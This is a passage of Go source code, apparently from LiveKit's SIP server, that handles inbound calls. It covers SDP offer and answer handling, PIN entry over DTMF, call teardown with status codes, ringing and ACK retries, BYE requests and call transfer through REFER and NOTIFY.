return c.media.GetLocalSDP() + } + defer c.mon.StageDurTimer("start-media")() + + c.log().Debugw("SDP offer", "sdp", string(sdpOffer)) + + answerData, err := c.media.GenerateAnswer(sdpOffer) + if err != nil { + return nil, err + } + c.log().Debugw("SDP answer", "sdp", string(answerData)) + + if err = c.updateCallStateAudioLocked(); err != nil { + return nil, err + } + return answerData, nil +} + +func (c *inboundCall) negotiateMediaForLateAnswer(answerData []byte) error { + c.mmu.Lock() + defer c.mmu.Unlock() + defer c.lateAnswerPending.Store(false) + + if c.media == nil { + return errors.New("media port not created") + } + if c.media.NegotiatedAudio() != nil { + return nil + } + defer c.mon.StageDurTimer("process-late-answer")() + + c.log().Debugw("Late SDP answer", "sdp", string(answerData)) + if err := c.media.ProcessAnswer(answerData); err != nil { + return err + } + localSDP, err := c.media.GetLocalSDP() + if err != nil { + return err + } + c.cc.SetOwnSDP(localSDP) + + return c.updateCallStateAudioLocked() +} + +func (c *inboundCall) waitMedia(ctx context.Context) (bool, error) { + defer c.mon.StageDurTimer("wait-media")() + ctx, span := Tracer.Start(ctx, "sip.inbound.waitMedia") + defer span.End() + // Wait for either a first RTP packet or a predefined delay. + // + // If the delay kicks in earlier than the caller is ready, they might miss some audio packets. + // + // On the other hand, if we always wait for RTP, it might be harder to diagnose firewall/routing issues. + // In that case both sides will hear nothing, instead of only one side having issues. + // + // Thus, we wait at most a fixed amount of time before bridging audio. + + delay := time.NewTimer(audioBridgeMaxDelay) + defer delay.Stop() + select { + case <-c.cc.Cancelled(): + c.closeWithCancelled(ctx) + return false, nil // caller hung up + case <-ctx.Done(): + c.closeWithHangup(ctx) + return false, nil // caller hung up + case <-c.lkRoom.Closed(): + c.closeWithHangup(ctx) + return false, psrpc.NewErrorf(psrpc.Canceled, "room closed") + case <-c.media.MediaTimeout(): + return false, c.mediaTimeout(ctx) + case end := <-c.endCall: + c.close(ctx, end) + return false, nil + case <-c.media.Received(): + case <-delay.C: + } + return true, nil +} + +func (c *inboundCall) waitSubscribe(ctx context.Context, timeout time.Duration) (bool, error) { + ctx, span := Tracer.Start(ctx, "sip.inbound.waitSubscribe") + defer span.End() + defer c.mon.StageDurTimer("wait-subscribe")() + timer := time.NewTimer(timeout) + defer timer.Stop() + select { + case <-c.cc.Cancelled(): + c.closeWithCancelled(ctx) + return false, nil + case <-ctx.Done(): + c.closeWithHangup(ctx) + return false, nil + case <-c.lkRoom.Closed(): + c.closeWithHangup(ctx) + return false, psrpc.NewErrorf(psrpc.Canceled, "room closed") + case <-c.media.MediaTimeout(): + return false, c.mediaTimeout(ctx) + case end := <-c.endCall: + c.close(ctx, end) + return false, psrpc.NewErrorf(psrpc.Canceled, "rpc terminated the call") + case <-timer.C: + c.closeWithTerm(ctx, stats.ServerError("cannot-subscribe")) + return false, psrpc.NewErrorf(psrpc.DeadlineExceeded, "room subscription timed out") + case <-c.lkRoom.Subscribed(): + return true, nil + } +} + +func (c *inboundCall) pinPrompt(ctx context.Context, trunkID string) (disp CallDispatch, _ bool, _ error) { + ctx, span := Tracer.Start(ctx, "sip.inbound.pinPrompt") + defer span.End() + c.log().Infow("Requesting Pin for SIP call") + const pinLimit = 16 + c.playAudio(ctx, c.s.res.enterPin) + pin := "" + noPin := false + for { + select { + case <-c.cc.Cancelled(): + c.closeWithCancelled(ctx) + return disp, false, nil + case <-ctx.Done(): + c.closeWithHangup(ctx) + return disp, false, nil + case <-c.media.MediaTimeout(): + return disp, false, c.mediaTimeout(ctx) + case b, ok := <-c.dtmf: + if !ok { + c.Close() + return disp, false, psrpc.NewErrorf(psrpc.Canceled, "failed reading DTMF event") + } + if b.Digit == 0 { + continue // unrecognized + } + if b.Digit == '#' { + // End of the pin + noPin = pin == "" + + c.log().Infow("Checking Pin for SIP call", "pin", pin, "noPin", noPin) + disp = c.s.handler.DispatchCall(ctx, &CallInfo{ + TrunkID: trunkID, + Call: c.call, + Pin: pin, + NoPin: noPin, + }) + if disp.ProjectID != "" { + c.appendLogValues("projectID", disp.ProjectID) + c.projectID = disp.ProjectID + } + if disp.TrunkID != "" { + c.appendLogValues("sipTrunk", disp.TrunkID) + } + if disp.DispatchRuleID != "" { + c.appendLogValues("sipRule", disp.DispatchRuleID) + } + if disp.Result == DispatchServiceUnavailable { + c.log().Warnw("Rejecting call, dispatch evaluation failed", nil, "pin", pin, "noPin", noPin) + c.closeWithTerm(ctx, stats.ServerError("dispatch-error")) + return disp, false, psrpc.NewErrorf(psrpc.Unavailable, "dispatch rule evaluation unavailable") + } + if disp.Result != DispatchAccept || disp.Room.RoomName == "" { + c.log().Infow("Rejecting call", "pin", pin, "noPin", noPin) + c.playAudio(ctx, c.s.res.wrongPin) + c.closeWithTerm(ctx, stats.ClientError("wrong-pin")) + return disp, false, psrpc.NewErrorf(psrpc.PermissionDenied, "wrong pin") + } + c.playAudio(ctx, c.s.res.roomJoin) + return disp, true, nil + } + // Gather pin numbers + pin += string(b.Digit) + if len(pin) > pinLimit { + c.playAudio(ctx, c.s.res.wrongPin) + c.close(ctx, EndCall{ + Status: callDropped, + Term: stats.ClientError("wrong-pin"), + }) + return disp, false, psrpc.NewErrorf(psrpc.PermissionDenied, "wrong pin") + } + } + } +} + +func (c *inboundCall) printStats(log logger.Logger) { + c.stats.Log(log, c.callStart) +} + +func (c *inboundCall) closeWithTerm(ctx context.Context, t stats.Termination) { + c.close(ctx, EndCall{ + Status: callDropped, + Term: t, + }) +} + +func (c *inboundCall) EndCall(ctx context.Context, headers map[string]string) error { + select { + case <-ctx.Done(): + return ctx.Err() + case c.endCall <- EndCall{ + Status: CallHangup, + Term: stats.Success("rpc"), + Headers: headers, + }: + } + return nil +} + +// close should only be called from handleInvite. +func (c *inboundCall) close(ctx context.Context, end EndCall) { + termCtx, cancel := context.WithCancel(context.WithoutCancel(ctx)) // Do not use ctx cancellation + defer cancel() + go func() { + select { + case <-termCtx.Done(): + return + case <-time.After(5 * time.Minute): + c.mon.CallTerminationFailure() + c.log().Errorw("call failed to terminate after 5 minutes", nil) // To be able to get call IDs + } + }() + + ctx = context.WithoutCancel(ctx) + if !c.done.CompareAndSwap(false, true) { + return + } + defer c.mon.StageDurTimer("close")() + c.stats.Closed.Store(true) + result := Result{ + Code: sip.StatusBusyHere, + Status: "Rejected", + } + switch end.Status { + case callMediaFailed: + result = Result{ + Code: sip.StatusNotAcceptableHere, + Status: "Media Failed", + } + case CallCancelled: + result = Result{ + Code: sip.StatusRequestTerminated, + Status: "Request Terminated", + } + } + log := c.log().WithValues("status", result.Code, "result", string(end.Term.Result), "reason", end.Term.Reason) + defer func() { + c.stats.Update() + c.printStats(log) + c.sigTs.Log(log) + }() + c.setStatus(end.Status) + c.mon.CallTerminate(end.Term) + isWarn := end.Term.Result == stats.ResultServerError || end.Status == callHangupMedia + if isWarn { + log.Warnw("Closing inbound call with error", nil) + } else { + log.Infow("Closing inbound call") + } + if end.Status != callFlood { + defer log.Infow("Inbound call closed") + } + + // Send BYE _before_ closing media/room connection. + // This ensures participant attributes are still available for + // attributes_to_headers mapping in the setHeaders callback. + // See: https://github.com/livekit/sip/issues/404 + c.cc.CloseWithStatus(ctx, result, end.Headers) + c.closeMedia() + if callDurFn := c.callDur; callDurFn != nil { + callDurFn() + } + c.s.cmu.Lock() + delete(c.s.byLocalTag, c.cc.ID()) + c.s.cmu.Unlock() + + c.s.DeregisterTransferSIPParticipant(c.cc.ID()) + + // Call the handler asynchronously to avoid blocking + if c.s.handler != nil { + state := c.state + go func(tid traceid.ID) { + ctx := context.WithoutCancel(ctx) + ctx, span := Tracer.Start(ctx, "sip.inbound.OnSessionEnd") + defer span.End() + c.s.handler.OnSessionEnd(ctx, &CallIdentifier{ + ProjectID: c.projectID, + CallID: c.call.LkCallId, + SipCallID: c.call.SipCallId, + }, state, end.Term.Reason) + }(c.tid) + } + + c.cancel() +} + +func (c *inboundCall) closeWithTimeout(ctx context.Context, isError bool) { + status := callDropped + if !isError { + status = callHangupMedia + // Surface the media-timeout banner on the dashboard while keeping the + // call status as a clean disconnect — post-ACK media timeout usually + // means BYE was lost, not that the call itself failed. Mirror the + // outbound info.Error format byte-for-byte so the same dashboard + // trigger fires for both inbound and outbound. + c.state.DeferUpdate(func(info *livekit.SIPCallInfo) { + if info.Error == "" { + info.Error = psrpc.NewErrorf(psrpc.DeadlineExceeded, "media-timeout").Error() + } + }) + } + c.close(ctx, EndCall{ + Status: status, + Term: stats.Indeterminate("media-timeout"), + }) +} + +func (c *inboundCall) closeWithNoACK(ctx context.Context) { + c.close(ctx, EndCall{ + Status: callNoACK, + Term: stats.Indeterminate("no-ack"), + }) +} + +func (c *inboundCall) closeWithCancelled(ctx context.Context) { + var reason ReasonHeader + if p := c.closeReason.Load(); p != nil { + reason = *p + } + c.closeWith(ctx, CallCancelled, stats.Success("cancelled"), reason) +} + +func (c *inboundCall) closeWithHangup(ctx context.Context) { + var reason ReasonHeader + if p := c.closeReason.Load(); p != nil { + reason = *p + } + c.closeWith(ctx, CallHangup, stats.Success("hangup"), reason) +} + +func (c *inboundCall) closeWith(ctx context.Context, status CallStatus, t stats.Termination, reason ReasonHeader) { + ctx = context.WithoutCancel(ctx) + c.state.DeferUpdate(func(info *livekit.SIPCallInfo) { + info.DisconnectReason = livekit.DisconnectReason_CLIENT_INITIATED + if info.Error == "" { + if !reason.IsNormal() { + info.Error = reason.String() + } + } + }) + if reason.Type != "" { + if !reason.IsNormal() { + t.Reason = fmt.Sprintf("bye-%s-%d", strings.ToLower(reason.Type), reason.Cause) + } + } + c.close(ctx, EndCall{ + Status: status, + Term: t, + }) +} + +func (c *inboundCall) Bye(reason ReasonHeader) { + c.closeReason.Store(&reason) + _ = c.Close() +} + +func (c *inboundCall) Close() error { + c.cancel() + return nil +} + +// Shutdown force-closes the call as part of service shutdown, emitting a +// server_error termination so the call is counted in the SLI denominator. +// close() is idempotent via c.done, so concurrent paths cannot double-emit. +func (c *inboundCall) Shutdown(ctx context.Context) { + c.closeWithTerm(ctx, stats.ServerError("shutdown")) +} + +func (c *inboundCall) updateRemoteFromSDP(body []byte) error { + var mp MediaPort + + c.mmu.Lock() + mp = c.media + c.mmu.Unlock() + + if mp == nil { + return nil + } + _, err := mp.GenerateAnswer(body) + return err +} + +func (c *inboundCall) closeMedia() { + c.lkRoom.Close() + c.mmu.Lock() + defer c.mmu.Unlock() + if c.media != nil { + c.media.Close() + } +} + +func (c *inboundCall) setStatus(v CallStatus) { + attr := v.Attribute() + if attr == "" { + return + } + if c.lkRoom == nil { + return + } + r := c.lkRoom.Room() + if r == nil || r.LocalParticipant == nil { + return + } + + r.LocalParticipant.SetAttributes(map[string]string{ + livekit.AttrSIPCallStatus: attr, + }) +} + +func (c *inboundCall) createLiveKitParticipant(ctx context.Context, rconf RoomConfig, status CallStatus) error { + ctx, span := Tracer.Start(ctx, "sip.inbound.createLiveKitParticipant") + defer span.End() + partConf := &rconf.Participant + if partConf.Attributes == nil { + partConf.Attributes = make(map[string]string) + } + for k, v := range c.extraAttrs { + partConf.Attributes[k] = v + } + partConf.Attributes[livekit.AttrSIPCallStatus] = status.Attribute() + select { + case <-ctx.Done(): + return ctx.Err() + default: + } + + treg := c.mon.StageDurTimer("lk-reg-transfer") + err := c.s.RegisterTransferSIPParticipant(LocalTag(c.cc.ID()), c) + treg() + if err != nil { + return err + } + + tconn := c.mon.StageDurTimer("lk-connect") + err = c.lkRoom.Connect(ctx, c.s.conf, rconf) + tconn() + if err != nil { + return err + } + if err := registerSignalingRPC(c.lkRoom, c.cc); err != nil { + return err + } + if err := registerCallRPC(c.lkRoom, c); err != nil { + return err + } + return nil +} + +func (c *inboundCall) publishTrack(features []livekit.SIPFeature, featureFlags map[string]string) error { + defer c.mon.StageDurTimer("track-publish")() + inboundAudio, err := c.lkRoom.GetInboundAudioWriter() + if err != nil { + _ = c.lkRoom.Close() + return err + } + + if audioInProcessor := c.s.handler.GetMediaProcessor(features, featureFlags, string(c.cc.ID()), MediaProcessorOpts{InputSampleRate: RoomSampleRate}); audioInProcessor != nil { + inboundAudio = audioInProcessor(inboundAudio) + } + if old := c.media.WriteInboundAudioTo(inboundAudio); old != nil { + c.log().Warnw("media port has unexpected inbound audio writer", nil) + old.Close() + } + if old := c.media.WriteInboundDTMFTo(c.lkRoom.GetInboundDTMFWriter()); old != nil { + old.Close() // Can be pinDTMFWriter + } + return nil +} + +func (c *inboundCall) joinRoom(ctx context.Context, rconf RoomConfig, status CallStatus) error { + defer c.mon.StageDurTimer("join-room")() + if c.joinDur != nil { + c.joinDur() + } + c.callDur = c.mon.CallDur() + c.appendLogValues( + "room", rconf.RoomName, + "participant", rconf.Participant.Identity, + "participantName", rconf.Participant.Name, + ) + c.log().Infow("Joining room") + if err := c.createLiveKitParticipant(ctx, rconf, status); err != nil { + c.log().Errorw("Cannot create LiveKit participant", err) + c.closeWithTerm(ctx, stats.ServerError("participant-failed")) + return fmt.Errorf("cannot create LiveKit participant: %w", err) + } + return nil +} + +func (c *inboundCall) playAudio(ctx context.Context, frames []msdk.PCM16Sample) { + t := c.lkRoom.NewTrack() + if t == nil { + return // closed + } + defer t.Close() + + sampleRate := res.SampleRate + if t.SampleRate() != sampleRate { + frames = slices.Clone(frames) + for i := range frames { + frames[i] = msdk.Resample(nil, t.SampleRate(), frames[i], sampleRate) + } + } + _ = msdk.PlayAudio[msdk.PCM16Sample](ctx, t, rtp.DefFrameDur, frames) +} + +func dtmfEventFromSipDTMF(msg *livekit.SipDTMF) dtmf.Event { + code := byte(msg.Code) + digit := byte(0) + if len(msg.Digit) == 1 { + digit = msg.Digit[0] + } else { + digit = dtmf.CodeToChar(code) + } + return dtmf.Event{ + Code: code, + Digit: digit, + } +} + +func (c *inboundCall) transferCall(ctx context.Context, transferTo string, headers map[string]string, dialtone bool) (transferID string, retErr error) { + var err error + + transferID = c.state.StartTransfer(transferTo) + defer func() { + c.state.EndTransfer(transferID, retErr) + }() + + if dialtone && c.started.IsBroken() && !c.done.Load() { + const ringVolume = math.MaxInt16 / 2 + + c.mmu.Lock() + mp := c.media + c.mmu.Unlock() + if mp == nil { + return transferID, fmt.Errorf("media port not found") + } + // Mute the room audio to the SIP participant. + _ = c.lkRoom.WriteOutboundAudioTo(nil) // Not closing mp anchor + defer func() { + if retErr != nil && !c.done.Load() { + c.lkRoom.WriteOutboundAudioTo(mp.GetOutboundAudioWriter()) + } + }() + + rctx, rcancel := context.WithCancel(ctx) + defer rcancel() + go func() { + err := tones.Play(rctx, mp.GetOutboundAudioWriter(), ringVolume, tones.ETSIRinging) + if err != nil && !errors.Is(err, context.Canceled) && !errors.Is(err, context.DeadlineExceeded) { + c.log().Infow("cannot play dial tone", "error", err) + } + }() + } + + err = c.cc.TransferCall(ctx, transferTo, headers, c.ctx.Done()) + if err != nil { + c.log().Infow("inbound call failed to transfer", "error", err, "transferTo", transferTo) + return transferID, err + } + + c.log().Infow("inbound call transferred", "transferTo", transferTo) + + // Give time for the peer to hang up first, but hang up ourselves if this doesn't happen within 1 second + time.AfterFunc(referByeTimeout, func() { c.Close() }) + + return transferID, nil +} + +func (s *Server) newInbound(invite *sip.Request, inviteTx sip.ServerTransaction, src netip.AddrPort) (*sipInbound, error) { + sipCallIDHdr := invite.CallID() + if sipCallIDHdr == nil { + return nil, errors.New("no Call-ID header in INVITE") + } + sipCallID := sipCallIDHdr.Value() + if sipCallID == "" { + return nil, errors.New("no Call-ID header in INVITE") + } + fromHdr := invite.From() + if fromHdr == nil { + return nil, errors.New("no From header in INVITE") + } + fromParams := fromHdr.Params + if fromParams == nil { + return nil, errors.New("no tag in From in INVITE") + } + fromTag, ok := fromParams.Get("tag") + if !ok || fromTag == "" { + return nil, errors.New("no tag in From in INVITE") + } + toHdr := invite.To() + if toHdr == nil { + return nil, errors.New("no To header in INVITE") + } + + if toHdr.Params == nil { + toHdr.Params = sip.NewParams() + } + toTag, ok := toHdr.Params.Get("tag") + if !ok || toTag == "" { + // Check if the call-ID + from tag is in the provisional invites cache + s.cmu.Lock() + cachedTag, ok := s.provisionalInvites.Get([2]string{sipCallID, fromTag}) + s.cmu.Unlock() + if ok && cachedTag != "" { + // Use the cached tag to reuse the originally assigned SCL ID + toTag = string(cachedTag) + } else { + // New dialog is being created. Generate a local tag + toTag = lksip.NewCallID() + } + toHdr.Params.Add("tag", toTag) + } + + legTr := legTransportFromReq(invite) + contact := s.ContactURI(legTr) + log := s.log.WithValues( + "callID", toTag, + "traceID", traceid.FromGUID(toTag), + "sipCallID", sipCallID, + "fromIP", src.Addr().String(), + "toIP", invite.Destination(), + "fromHost", fromHdr.Address.Host, + "fromUser", fromHdr.Address.User, + "toHost", toHdr.Address.Host, + "toUser", toHdr.Address.User, + "sipTag", fromTag, + "direction", "inbound", + ) + c := &sipInbound{ + s: s, + id: LocalTag(toTag), + invite: invite, + inviteTx: inviteTx, + to: toHdr, + from: fromHdr, + tag: RemoteTag(fromTag), + sipCallID: sipCallID, + legTr: legTr, + contact: &sip.ContactHeader{ + Address: *contact.GetContactURI(), + }, + cancelled: make(chan struct{}), + referDone: make(chan error), // Do not buffer the channel to avoid reading a result for an old request + } + if h := invite.CSeq(); h != nil { + c.inviteCSeq = h.SeqNo + c.nextRequestCSeq = h.SeqNo + 1 + } + log = LoggerWithHeaders(log, c) + c.log = log + + return c, nil +} + +type sipInbound struct { + log logger.Logger + s *Server + id LocalTag // SCL + tag RemoteTag + sipCallID string + invite *sip.Request + inviteCSeq uint32 + inviteTx sip.ServerTransaction + contact *sip.ContactHeader + cancelled chan struct{} + from *sip.FromHeader + to *sip.ToHeader + legTr Transport + referDone chan error + + mu sync.RWMutex + lastSDP []byte + inviteOk *sip.Response + nextRequestCSeq uint32 + referCseq uint32 + ringing chan struct{} + acked core.Fuse + ack atomic.Pointer[sip.Request] // non-nil once acked is broken + call *inboundCall +} + +func (c *sipInbound) SetCall(call *inboundCall) { + c.call = call +} + +func (c *sipInbound) fillHeaders(headers map[string]string) map[string]string { + if c == nil || c.call == nil || len(c.call.attrsToHdr) == 0 { + return headers + } + r := c.call.lkRoom.Room() + if r == nil { + return headers + } + return AttrsToHeaders(r.LocalParticipant.Attributes(), c.call.attrsToHdr, headers) +} + +func (c *sipInbound) Drop() { + c.mu.Lock() + defer c.mu.Unlock() + c.drop() +} + +func (c *sipInbound) drop() { + c.stopRinging() + if c.inviteTx != nil { + c.inviteTx.Terminate() + } + c.inviteTx = nil + c.invite = nil + c.inviteOk = nil + c.nextRequestCSeq = 0 +} + +func (c *sipInbound) respond(status sip.StatusCode, reason string) { + c.respondWithData(status, reason, "", nil) +} + +func (c *sipInbound) respondWithData(status sip.StatusCode, reason string, contentType string, body []byte) { + if c.inviteTx == nil { + return + } + + r := sip.NewResponseFromRequest(c.invite, status, reason, body) + if typ := sip.ContentTypeHeader(contentType); typ != "" { + r.AppendHeader(&typ) + } + r.AppendHeader(sip.HeaderClone(allowHeader)) + if status >= 200 { + // For an ACK to error statuses. + r.AppendHeader(c.contact) + } + c.addExtraHeaders(r) + _ = c.inviteTx.Respond(r) +} + +func (c *sipInbound) RespondAndDrop(status sip.StatusCode, reason string) { + c.mu.Lock() + defer c.mu.Unlock() + c.stopRinging() + c.respond(status, reason) + c.drop() + // Cache the response so a retry reusing the same Call-ID + From-tag + // (e.g. provider failover after a 4xx) gets the cached reply replayed + // instead of running through the handler again. + if c.s != nil && c.s.rejectedInvites != nil && status >= 300 && c.sipCallID != "" { + c.s.rejectedInvites.Add( + [2]string{c.sipCallID, string(c.tag)}, + rejectedInviteResponse{status: status, reason: reason}, + ) + } +} + +func (c *sipInbound) Address() sip.Uri { + if c.invite == nil { + return sip.Uri{} + } + return c.invite.Recipient +} + +func (c *sipInbound) From() sip.Uri { + if c.from == nil { + return sip.Uri{} + } + return c.from.Address +} + +func (c *sipInbound) To() sip.Uri { + if c.to == nil { + return sip.Uri{} + } + return c.to.Address +} + +func (c *sipInbound) ID() LocalTag { + return c.id +} + +func (c *sipInbound) Tag() RemoteTag { + return c.tag +} + +func (c *sipInbound) SIPCallID() string { + return c.sipCallID +} + +func (c *sipInbound) InviteCSeq() uint32 { + return c.inviteCSeq +} + +func (c *sipInbound) RemoteHeaders() Headers { + c.mu.RLock() + defer c.mu.RUnlock() + if c.invite == nil { + return nil + } + return c.invite.Headers() +} + +func (c *sipInbound) Processing() { + c.mu.Lock() + defer c.mu.Unlock() + c.respond(sip.StatusTrying, "Processing") +} + +func (c *sipInbound) sendRinging() { + c.respond(sip.StatusRinging, "Ringing") +} + +func (c *sipInbound) attachTag() { + // Set the SIP tag for following requests from us to remote (e.g. BYE). + c.to.Params.Add("tag", string(c.id)) +} + +func (c *sipInbound) StartRinging() { + c.mu.Lock() + defer c.mu.Unlock() + c.attachTag() + c.sendRinging() + stop := make(chan struct{}) + c.ringing = stop + tx := c.inviteTx + cancels := tx.Cancels() + go func() { + ticker := time.NewTicker(c.s.conf.SIPRingingInterval) + defer ticker.Stop() + for { + select { + case <-stop: + return + case r := <-cancels: + close(c.cancelled) // Other goroutines will respond to the primary INVITE + _ = tx.Respond(sip.NewResponseFromRequest(r, sip.StatusOK, "OK", nil)) + return + case <-ticker.C: + } + c.mu.Lock() + c.sendRinging() + c.mu.Unlock() + } + }() +} + +func (c *sipInbound) stopRinging() { + if c.ringing != nil { + close(c.ringing) + c.ringing = nil + } +} + +func (c *sipInbound) GotACK() bool { + return c.acked.IsBroken() +} + +func (c *sipInbound) InviteACK() <-chan struct{} { + return c.acked.Watch() +} + +func (c *sipInbound) Cancelled() <-chan struct{} { + return c.cancelled +} + +func (c *sipInbound) addExtraHeaders(r *sip.Response) { + if c.s.conf.AddRecordRoute { + // Other in-dialog requests should be sent to this instance as well. + recordRoute := c.contact.Address.Clone() + if recordRoute.UriParams == nil { + recordRoute.UriParams = sip.HeaderParams{} + } + recordRoute.UriParams.Add("lr", "") + r.PrependHeader(&sip.RecordRouteHeader{ + Address: *recordRoute, + }) + } +} + +func (c *sipInbound) accepted(inviteOK *sip.Response) { + c.inviteOk = inviteOK + c.inviteTx = nil +} + +func (c *sipInbound) AcceptAsKeepAlive(sdp []byte) { + c.respondWithData(sip.StatusOK, "OK", "application/sdp", sdp) +} + +func (c *sipInbound) RejectAsKeepAlive(status sip.StatusCode, reason string) { + c.respond(status, reason) +} + +// TODO(alexfish): Remove this function in favor once re-invites are +// consistently responded to with the MediaPort's local SDP. +func (c *sipInbound) OwnSDP() []byte { + c.mu.RLock() + defer c.mu.RUnlock() + return c.lastSDP +} + +func (c *sipInbound) SetOwnSDP(sdpData []byte) { + c.mu.Lock() + defer c.mu.Unlock() + c.lastSDP = sdpData +} + +func (c *sipInbound) Accept(ctx context.Context, sdpData []byte, headers map[string]string, waitForAck bool) error { + ctx, span := Tracer.Start(ctx, "sip.inbound.Accept") + defer span.End() + c.mu.Lock() + defer c.mu.Unlock() + if c.inviteTx == nil { + return errors.New("call already rejected") + } + c.lastSDP = sdpData + r := sip.NewResponseFromRequest(c.invite, sip.StatusOK, "OK", sdpData) + + // This will effectively redirect future SIP requests to this server instance (if host address is not LB). + r.AppendHeader(c.contact) + + c.addExtraHeaders(r) + + r.AppendHeader(&contentTypeHeaderSDP) + for k, v := range headers { + r.AppendHeader(sip.NewHeader(k, v)) + } + c.stopRinging() + retryAfter := inviteOkRetryInterval + maxRetries := inviteOKRetryAttempts + if !waitForAck { + // Still retry, but limit it to ~750ms. + maxRetries = inviteOKRetryAttemptsNoACK + } + if c.legTr != TransportUDP { + maxRetries = 1 + // That actually becomes an ACK timeout here. + retryAfter = inviteOkRetryIntervalMax + } + var acceptErr error +retries: + for try := 1; ; try++ { + if err := c.inviteTx.Respond(r); err != nil { + return err + } + if !waitForAck && c.legTr != TransportUDP { + // Reliable transport and we are not waiting for ACK - return immediately. + break retries + } + t := time.NewTimer(retryAfter) + select { + case <-c.inviteTx.Acks(): + t.Stop() + break retries + case <-c.acked.Watch(): + t.Stop() + break retries + case <-t.C: + } + if try > maxRetries { + // Only set error if an option is enabled. + // Otherwise, ignore missing ACK for now. + if waitForAck { + acceptErr = errNoACK + } + break retries + } + retryAfter *= 2 + retryAfter = min(retryAfter, inviteOkRetryIntervalMax) + } + // Other side likely thinks it's accepted, so update our state accordingly, even if no ACK follows. + c.accepted(r) + return acceptErr +} + +func (c *sipInbound) AcceptAck(req *sip.Request, tx sip.ServerTransaction) { + cseq := req.CSeq() + if cseq == nil || cseq.SeqNo != c.inviteCSeq { + c.log.Debugw("ignoring ACK for another INVITE", "inviteCSeq", c.inviteCSeq, "ackCSeq", cseq) + return + } + // Only store the first ACK seen. + c.ack.CompareAndSwap(nil, req) + c.acked.Break() +} + +// Ack returns the first ACK seen for this call. +func (c *sipInbound) Ack() *sip.Request { + return c.ack.Load() +} + +func (c *sipInbound) AcceptBye(req *sip.Request, tx sip.ServerTransaction) { + _ = tx.Respond(sip.NewResponseFromRequest(req, 200, "OK", nil)) + c.mu.Lock() + defer c.mu.Unlock() + c.drop() // mark as closed +} + +func (c *sipInbound) swapSrcDst(req *sip.Request) { + dest := c.inviteOk.Destination() + if contact := c.invite.Contact(); contact != nil { + req.Recipient = contact.Address + dest = ConvertURI(&contact.Address).GetDest() + } else { + req.Recipient = c.from.Address + } + if route := c.invite.RecordRoute(); route != nil { + dest = ConvertURI(&route.Address).GetDest() + } + req.SetSource(c.inviteOk.Source()) + req.SetDestination(dest) + req.RemoveHeader("From") + req.AppendHeader((*sip.FromHeader)(c.to)) + req.RemoveHeader("To") + req.AppendHeader((*sip.ToHeader)(c.from)) + // Remove all Via headers + for req.RemoveHeader("Via") { + } + req.PrependHeader(c.generateViaHeader(req)) + + rrHdrs := req.GetHeaders("Record-Route") + for _, hdr := range rrHdrs { + req.PrependHeader(&sip.RouteHeader{Address: hdr.(*sip.RecordRouteHeader).Address}) + } + // Remove all Record-Route headers + for req.RemoveHeader("Record-Route") { + } +} + +func (c *sipInbound) generateViaHeader(req *sip.Request) *sip.ViaHeader { + newvia := &sip.ViaHeader{ + ProtocolName: "SIP", + ProtocolVersion: "2.0", + Transport: req.Transport(), + Host: c.s.sconf.SignalingIP.String(), // This can be rewritten by transport layer + Port: c.s.conf.SIPPort, // This can be rewritten by transport layer + Params: sip.NewParams(), + } + // NOTE: Consider length of branch configurable + newvia.Params.Add("branch", sip.GenerateBranchN(16)) + + return newvia +} + +func (c *sipInbound) setCSeq(req *sip.Request) { + setCSeq(req, c.nextRequestCSeq) + + c.nextRequestCSeq++ +} + +func (c *sipInbound) sendBye(ctx context.Context, headers map[string]string) { + ctx = context.WithoutCancel(ctx) + if c.inviteOk == nil { + return // call wasn't established + } + if c.invite == nil { + return // rejected or closed + } + ctx, span := Tracer.Start(ctx, "sip.inbound.sendBye") + defer span.End() + // This function is for clients, so we need to swap src and dest + r := sip.NewByeRequest(c.invite, c.inviteOk, nil) + for k, v := range c.fillHeaders(nil) { + r.AppendHeader(sip.NewHeader(k, v)) + } + for k, v := range headers { + r.AppendHeader(sip.NewHeader(k, v)) + } + + c.setCSeq(r) + c.swapSrcDst(r) + c.drop() + sendBye(ctx, c.log, c, r) +} + +func (c *sipInbound) sendStatus(ctx context.Context, result Result, headers map[string]string) { + ctx = context.WithoutCancel(ctx) + if c.inviteOk != nil { + return // call already established + } + if c.inviteTx == nil { + return // rejected or closed + } + ctx, span := Tracer.Start(ctx, "sip.inbound.sendStatus") + defer span.End() + + r := result.NewResponse(c.invite) + for k, v := range c.fillHeaders(nil) { + r.AppendHeader(sip.NewHeader(k, v)) + } + for k, v := range headers { + r.AppendHeader(sip.NewHeader(k, v)) + } + _ = c.inviteTx.Respond(r) + c.drop() +} + +func (c *sipInbound) WriteRequest(req *sip.Request) error { + return c.s.sipSrv.TransportLayer().WriteMsg(req) +} + +func (c *sipInbound) Transaction(req *sip.Request) (sip.ClientTransaction, error) { + return c.s.sipSrv.TransactionLayer().Request(req) +} + +func (c *sipInbound) newReferReq(transferTo string, headers map[string]string) (*sip.Request, error) { + c.mu.Lock() + defer c.mu.Unlock() + + if c.invite == nil || c.inviteOk == nil { + return nil, psrpc.NewErrorf(psrpc.FailedPrecondition, "can't transfer non established call") // call wasn't established + } + + from := c.invite.From() + if from == nil { + return nil, psrpc.NewErrorf(psrpc.InvalidArgument, "no From URI in invite") + } + headers = c.fillHeaders(headers) + + // This will effectively redirect future SIP requests to this server instance (if host address is not LB). + req := NewReferRequest(c.invite, c.inviteOk, c.contact, transferTo, headers) + c.setCSeq(req) + c.swapSrcDst(req) + + cseq := req.CSeq() + if cseq == nil { + return nil, psrpc.NewErrorf(psrpc.Internal, "missing CSeq header in REFER request") + } + c.referCseq = cseq.SeqNo + return req, nil +} + +func (c *sipInbound) TransferCall(ctx context.Context, transferTo string, headers map[string]string, callDone <-chan struct{}) error { + req, err := c.newReferReq(transferTo, headers) + if err != nil { + return err + } + + _, err = sendRefer(ctx, c, req, c.s.closing.Watch()) + if err != nil { + return err + } + + return waitReferResult(ctx, c.log, callDone, c.referDone) +} + +func (c *sipInbound) handleNotify(req *sip.Request, tx sip.ServerTransaction) error { + info, err := handleNotify(req) + if err != nil { + return err + } + c.log.Infow("handling NOTIFY", "method", info.Method, "status", info.Status, + "reason", info.Reason, "cseq", info.CSeq, "subscription", info.Sub.String()) + + switch info.Method { + default: + return nil + case sip.REFER: + // Read referCseq under the lock, then release it before handing the + // result over. That handoff can park on the unbuffered channel for + // notifyAckTimeout, and while we hold the read lock every caller of + // c.mu.Lock() waits: AcceptBye and CloseWithStatus among them, so an + // arriving BYE would be what we blocked. + c.mu.RLock() + referCseq := c.referCseq + c.mu.RUnlock() + handleReferNotify(info, referCseq, c.referDone) + return nil + } +} + +// Close the inbound call cleanly. Depending on the call state it either sends 